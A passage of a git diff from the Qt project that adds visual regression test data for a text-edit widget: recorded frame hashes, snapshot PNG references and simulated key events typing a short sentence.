+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11312
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11328
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11344
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11360
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11376
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11392
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11408
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11424
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11440
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11456
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11472
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11488
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11504
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11520
+ image: "usingMultilineEdit.11.png"
+ }
+ Frame {
+ msec: 11536
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11552
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11568
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11584
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11600
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+ Frame {
+ msec: 11616
+ hash: "3d08eff16edf54f522a75df1734150df"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png
new file mode 100644
index 00000000..ec65f494
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.6.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml
new file mode 100644
index 00000000..2e755a4f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data/wrap.qml
@@ -0,0 +1,2467 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 33554432
+ text: "54"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 32
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 16777248
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 48
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 64
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 80
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 96
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 112
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 128
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 144
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 160
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 176
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 192
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 208
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 224
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 240
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 256
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 272
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 288
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 304
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 320
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 336
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 352
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 368
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 384
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 400
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 416
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 432
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 448
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 464
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 480
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 496
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 512
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 528
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 544
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 560
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 576
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 592
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 608
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 624
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 640
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 656
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 672
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 688
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 704
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 720
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 736
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 752
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 768
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 784
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 800
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 816
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 832
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 848
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 864
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 880
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 896
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 912
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 928
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 944
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 960
+ image: "wrap.0.png"
+ }
+ Frame {
+ msec: 976
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 992
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1008
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1024
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1040
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1056
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1072
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1088
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1104
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1120
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1136
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1152
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1168
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1184
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1200
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1216
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1232
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1248
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1264
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 83
+ modifiers: 0
+ text: "73"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1280
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1296
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1312
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1328
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1344
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1360
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1376
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1392
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1408
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1424
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1440
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1456
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1472
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1488
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1504
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1520
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1536
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1552
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1568
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1584
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1600
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1616
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1632
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 72
+ modifiers: 0
+ text: "68"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1648
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1664
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1680
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1696
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1712
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1728
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1744
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1760
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 65
+ modifiers: 0
+ text: "61"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1776
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1792
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1808
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1824
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1840
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1856
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1872
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1888
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1904
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1920
+ image: "wrap.1.png"
+ }
+ Frame {
+ msec: 1936
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1952
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 1968
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 1984
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2000
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2016
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2032
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2048
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2064
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2080
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2096
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2112
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2128
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2144
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2160
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2176
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2192
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2208
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 88
+ modifiers: 0
+ text: "78"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2224
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2240
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2256
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2272
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2288
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2304
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 88
+ modifiers: 0
+ text: "78"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2320
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2336
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2352
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2368
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2384
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2400
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2416
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2432
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2448
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2464
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2480
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2496
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2512
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2528
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2544
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 69
+ modifiers: 0
+ text: "65"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2560
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2576
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2592
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2608
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2624
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2640
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2656
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2672
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2688
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2704
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 7
+ key: 68
+ modifiers: 0
+ text: "64"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2720
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2736
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2752
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2768
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2784
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2800
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2816
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2832
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 84
+ modifiers: 0
+ text: "74"
+ autorep: false
+ count: 1
+ }
+ Key {
+ type: 7
+ key: 73
+ modifiers: 0
+ text: "69"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2848
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2864
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Frame {
+ msec: 2880
+ image: "wrap.2.png"
+ }
+ Frame {
+ msec: 2896
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
+ }
+ Key {
+ type: 6
+ key: 32
+ modifiers: 0
+ text: "20"
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 2912
+ hash: "e165a0b90fdc1eef2c8244ad8545bd6f"
